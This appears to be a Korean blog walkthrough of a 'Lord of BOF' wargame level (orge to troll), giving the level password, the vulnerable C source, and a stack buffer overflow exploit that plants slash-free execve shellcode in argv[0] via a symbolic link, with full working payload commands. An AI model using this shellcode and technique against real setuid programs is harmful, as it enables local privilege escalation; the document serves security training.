SH1R0_HACKER

8. orge -> troll 본문

System/The Lord of BOF

8. orge -> troll

SH1R0_HACKER 2020. 10. 26. 15:29

id : orge

password : timewalker


[ troll.c ]

/*
        The Lord of the BOF : The Fellowship of the BOF
        - troll
        - check argc + argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        // here is changed
        if(argc != 2){
                printf("argc must be two!\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

        // one more!
        memset(argv[1], 0, strlen(argv[1]));
}

argv[0] 길이를 검사하는 부분이 사라지고 argc가 2개인지 확인하는 부분이 추가되었다.

argv[2]에 쉘코드를 넣는 방법은 이제 불가능하다.

 

심볼릭 링크를 이용하여 argv[0]에 쉘코드를 넣고 RET 주소를 여기로 변경하는 방법을 이용하자.gdb 분석을 위해

troll2라는 사본파일을 만들어 주었다.

 

ln -s troll2 `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

No such file or directory 라는 오류가 뜬다.

이유를 찾아보니 \x2f 이게 ASCII로 변환되면 / 로 바뀐다고한다.

 

실제로 / 가 포함되어있다면 심볼릭 링크를 생성할 수 없다.

디텍토리로 인식해 버리기 때문에 \x2f가 포함되지 않은 쉘코드를 찾아와야한다.

 

아래는 내가 사용한 쉘코드이다.

 

Shellcode without \x2f (34byte)

 

"\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

 

 

이제 심볼릭 링크를 만들어주자.

 

ln -s troll2 `python -c 'print "\x90"*100+"\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'`

 

ㅇㅋ 잘 생성된다.

 

gdb 분석할때도 파이썬으로 날리면 된다. 다음과 같이 말이다.

gdb ./`python -c 'print "\x90"*100+"gdb ./`python -c 'print "\x90"*100+"\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'`

 

RET 주소를 0xbffffb5c로 잡고 페이로드를 작성하자.

 

./`python -c 'print "\x90"*100+"\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'` `python -c 'print "\x90"*44+"\x5c\xfb\xff\xbf"'`

 

코어를 분석해보자.

 

RET 주소를 다시 0xbffffabc로 잡고 공격해보자.

 

완성된 페이로드는 아래와 같다.

 

./`python -c 'print "\x90"*100+"\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'` `python -c 'print "\x90"*44+"\xbc\xfa\xff\xbf"'`

 

bash가 잘 뜬다.

이제 실제 파일에 적용해보자.

 

rm * 명령어로 보호된파일 troll, troll.c를 제외한 나머지를 모두 삭제하였다.

 

다음 명령어로 troll 파일에 대해 심볼릭링크를 만들어 주고, 페이로드를 이용하여 공격하자.

 

ln -s troll `python -c 'print "\x90"*100+"\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'`

 

'System > The Lord of BOF' 카테고리의 다른 글

10. vampire -> skeleton  (0) 2020.10.28
9. troll -> vampire  (0) 2020.10.27
7. darkelf -> orgc  (0) 2020.10.24
6. wolfman -> darkelf  (0) 2020.10.24
5. orc -> wolfman  (0) 2020.10.22